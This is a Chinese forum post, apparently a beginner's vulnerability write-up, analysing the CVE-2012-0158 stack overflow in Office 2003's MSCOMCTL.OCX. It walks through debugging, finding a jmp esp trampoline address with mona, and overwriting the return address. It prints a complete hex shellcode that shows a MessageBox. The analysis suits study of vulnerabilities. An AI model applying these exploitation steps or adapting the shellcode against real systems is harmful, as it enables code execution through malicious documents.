12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 229|回复: 0

CVE-2012-0158 Office 漏洞简单分析

[复制链接]

60

主题

60

帖子

130

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
130
发表于 2020-7-7 20:34:45 | 显示全部楼层 |阅读模式
新人的第一个漏洞分析报告,现在拿出来和大家分享,如有不足,轻喷。

Microsoft Office Word 2003(CVE-2012-0158)漏洞分析报告
[table][tr][td=1,1,277]
软件名称:Microsoft Office Word 2003 SP3
软件版本:11.8322.8172
漏洞模块:MSCOMCTL.OCX
模块版本:2.0.0.0
[/td][td=1,1,277]
操作系统:Windows 7/2009/6.1
漏洞编号:CVE-2012-0158
危害等级:中危
漏洞类型:栈溢出
威胁类型:本地



目录
1.      软件简介... 2
2.      漏洞成因... 2
3.      漏洞分析... 2
    3.1.漏洞分析环境与工具……………………………………………………………………2
    3.2.获取POC…………………………………………………………………………………2
    3.3复现漏洞…………………………………………………………………………………2
    3.4.分析漏洞…………………………………………………………………………………2
    3.5.漏洞利用…………………………………………………………………………………2
1.   软件简介
Microsoft Office Word 2003,是一种字处理程序,可使文档的创建、共享和阅读变得更加容易。2.   漏洞成因
CVE-2012-0158漏洞出现在MSCOMCTL.OCX,是微软Office系列办公软件在处理MSCOMCTL的ListView控件的时候由于检查失误,导致攻击者可以通过构造恶意文档执行任意代码。
3.    漏洞分析
3.1漏洞分析环境与工具操作系统: Window 7 专业版 (32 位)
软件: office 2003 sp3
工具: OllyDbg, windbg, IDA Pro
OfficeMalScanner,Immunity Debugger

3.2获取POC网络,论坛, Metasploit
https://www.exploit-db.com/
https://www.securityfocus.com/

3.3复现漏洞
搭建漏洞环境,执行漏洞poc安装 office 2003 sp3
执行 poc 以及样本(在执行时,如果使用 OD 附加,需要把原本忽略的异常都恢复)

                              
去除OD插件的跳过异常

执行poc效果:




3.4分析漏洞
调试漏洞,定位漏洞触发点,分析漏洞成因
① 定位漏洞触发模块

分析溢出点附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后 可能已经破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,可以发现有一个地址 275C8A0A,可以看出这个地址是 MSCOMCTL 模块中的地址,由此判断刚刚执行的函数中执
行了 MSCOMCTL 模块中的代码
  

② 定位漏洞函数
动态调试溢出点所在的函数,可以跟踪到是 CALL 275C876D 时出的问题

  
   使用 IDA 定位到漏洞函数 MSCOMCTL.ocx 中的 275C876D 函数


   重新动态调试,观察CALL 275C876D的参数



③ 分析漏洞成因
获取 shellcode 长度之后,在文件中搜索定位长度
发现有两个长度,猜测一个是 dwBytes,一个是 v7



修改一个字节,再次动态调试测试,可以发现参数没变,局部变量变了,即文件中第一个 8282是参数中的长度,第二个 8282 是函数内读取的长度,两个长度都是在文件中的。所以可以 肆无忌惮的溢出了

  
OD 动态调试,可以发现 83 所在位置是局部变量的值
  
经过调试和分析之后,可以总结一下
CVE-2012-0158 漏洞触发在 MSCOMCTL.ocx 模块中,漏洞成因是在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。


如果有 MSCOMCTL.ocx 的符号,可以知道漏洞函数是:


poc shellcode 结构



3.5漏洞利用漏洞利用的步骤

  • 分析和设计漏洞 shellcode 的结构在运行的程序中寻找跳板指令地址jmp esp
         使用 ImmunityDebugger+mona.py 为例:
         下载安装 ImmunityDebugger
         下载 mona.py,放入 PyCommands 目录中


①寻找跳板指令
运行 ImmunityDebugger,附加程序WINWORD.exe,输入命令!mona modules遍历模块



查找无安全检查且是系统DLL的模块(4个false,1个True)


得到模块名后输入命令!mona find -s "\xff\xe4" -m msvbvm60.dll在该模块内查找跳板指令


这里选择729a0535作为跳板指令(该条指令权限是较高)
将溢出点41414141更换为跳板指令729a0535,注意是小端存储





②编写ShellCode并注入
由于Word文档的文件格式是字符,因此输入的ShellCode也需要是字符格式,而不是字节,需在指令上加上\r\n,程序执行时会把字符翻译成代码执行


编写Shellcode步骤如下:
1. 获取 Kernel32 基地址
2. 获取 GetProcAddress 地址
3. 获取 LoadLibraryA 地址
4. 获取 user32 基地址
5. 获取 MessageBoxA 地址
6. 调用 MessageBoxA 地址
7. 获取 ExitProcess 地址
8. 调用 ExitProcess



ShellCode二进制码:
9090909090E9CF00000090558BEC83EC04C745FC000000005351528B750833C933C08A040E84C074168B5DFCC1E3198B55FCC1EA070BDA03D8895DFC41EBE38B5D0C8B55FC33C03BDA7505B8010000005A595B8BE55DC2080056648B35300000008B760C8B761C8B368B46085EC3558BEC83EC0C528B550C8B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C9EB01418B75F88B348E8B550C8D3432FF750856E852FFFFFF85C074E68B75F433FF668B3C4E8B75FC8B3CBE8B550C8D043A5A8BE55DC20800558BEC83EC30EB18909090909090909090909090909090909090909090909090EB127573657233320048656C6C6F203135504200E8000000005883E8178945D483C0078945D8E835FFFFFF8945DC506885DFAFBBE83CFFFFFFFF75DC688732D8C0E82FFFFFFF8945E433DB5353FF75D4FF55E48945E850686A0A381EE814FFFFFF8945EC6A006A00FF75D86A00FF55ECFF75DC686389D14FE8F8FEFFFF6A00FFD0C3


这段代码在执行完跳板指令后将弹出Hello 15pb,随后结束程序进程


至此,分析完毕。

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-6 03:41 , Processed in 0.140625 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表